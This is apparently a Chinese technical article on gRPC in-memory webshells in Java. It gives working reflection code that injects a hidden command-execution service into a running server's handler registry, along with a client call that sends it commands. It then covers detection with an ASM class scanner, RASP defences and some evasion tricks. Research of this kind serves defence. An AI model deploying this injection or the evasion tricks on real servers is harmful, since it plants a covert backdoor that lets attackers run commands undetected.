gRPC内存马研究与查杀
字数 1124 2025-08-26 22:12:02
gRPC内存马研究与查杀技术详解
1. gRPC基础概念
1.1 RPC与gRPC简介
RPC(远程过程调用):
- 允许一台计算机上的程序调用另一台计算机上的程序
- 面向对象场景下称为远程方法调用(如Java RMI)
gRPC:
- Google开发的高性能开源RPC框架
- 常用于微服务间跨语言通信
- 使用Protocol Buffers作为接口定义语言(IDL)
- 通过proto文件定义消息结构体和RPC函数
1.2 Protocol Buffers工作流程
- 定义.proto文件
- 使用protoc生成对应语言代码
- 在项目中集成生成的代码
- 建立gRPC服务端和客户端
2. gRPC内存马实现原理
2.1 gRPC服务注册机制
服务端启动流程:
Server server = NettyServerBuilder.forPort(port)
.addService(new UserServiceImpl())
.build()
.start();
关键注册过程:
addService方法接收BindableService实现类- 调用
bindService()生成ServerServiceDefinition - 通过
ServerImplBuilder构建服务 - 最终注册到
InternalHandlerRegistry中
2.2 内存马注入点分析
攻击面:
ServerImpl类的registry字段存储服务定义InternalHandlerRegistry包含两个关键字段:services: 存储ServerServiceDefinition列表methods: 存储ServerMethodDefinition映射
注入思路:
- 通过反射获取
ServerImpl实例 - 修改
registry中的services和methods字段 - 添加恶意的
ServerServiceDefinition
3. gRPC内存马实现
3.1 注入POC代码
public static void changeGRPCService(Server server){
try {
// 获取registry字段
Field field = server.getClass().getDeclaredField("registry");
field.setAccessible(true);
Object registry = field.get(server);
// 获取并修改services列表
Class<?> handler = Class.forName("io.grpc.internal.InternalHandlerRegistry");
Field services = handler.getDeclaredField("services");
services.setAccessible(true);
List servicesList = (List) services.get(registry);
List<Object> newServicesList = new ArrayList<Object>(servicesList);
// 添加WebShell服务
Class<?> cls = Class.forName("com.demo.shell.protocol.WebShellServiceGrpc$WebShellServiceImplBase");
Method m = cls.getDeclaredMethod("bindService");
BindableService obj = new WebshellServiceImpl();
ServerServiceDefinition service = (ServerServiceDefinition) m.invoke(obj);
newServicesList.add(service);
services.set(registry, Collections.unmodifiableList(newServicesList));
// 获取并修改methods映射
Field methods = handler.getDeclaredField("methods");
methods.setAccessible(true);
Map methodsMap = (Map) methods.get(registry);
Map<String, Object> newMethodsMap = new HashMap<String, Object>(methodsMap);
for (ServerMethodDefinition<?, ?> serverMethodDefinition : service.getMethods()) {
newMethodsMap.put(serverMethodDefinition.getMethodDescriptor().getFullMethodName(),
serverMethodDefinition);
}
methods.set(registry, Collections.unmodifiableMap(newMethodsMap));
} catch (Exception e) {
e.printStackTrace();
}
}
3.2 客户端调用示例
Webshell webshell = Webshell.newBuilder()
.setPwd("x")
.setCmd("calc")
.build();
ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port)
.usePlaintext().build();
WebShellServiceGrpc.WebShellServiceBlockingStub stub = WebShellServiceGrpc.newBlockingStub(channel);
Webshell s = stub.exec(webshell);
4. gRPC内存马检测与防御
4.1 检测技术实现
检测思路:
- 扫描所有继承
io.grpc.BindableService的类 - 分析这些类中的方法调用链
- 识别危险Sink函数
关键代码(ASM实现):
public class GrpcClassVisitor extends ClassVisitor {
@Override
public void visit(int version, int access, String name,
String signature, String superName, String[] interfaces) {
if (superName.contains("ServiceGrpc")) {
try {
String cls = Thread.currentThread().getContextClassLoader()
.loadClass(superName.replaceAll("/", "\\."))
.getInterfaces()[0].getName();
if (cls.equals("io.grpc.BindableService")) {
this.ClassName = name;
}
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
super.visit(version, access, name, signature, superName, interfaces);
}
}
4.2 防御方案
-
RASP防护:
- 监控
ServerImpl.registry字段修改 - 拦截
InternalHandlerRegistry的services和methods修改
- 监控
-
运行时检测:
- 定期扫描gRPC服务列表
- 校验服务方法的合法性
-
绕过检测的对抗:
- 修改ClassLoader加载路径
- 直接修改已有服务方法而非添加新服务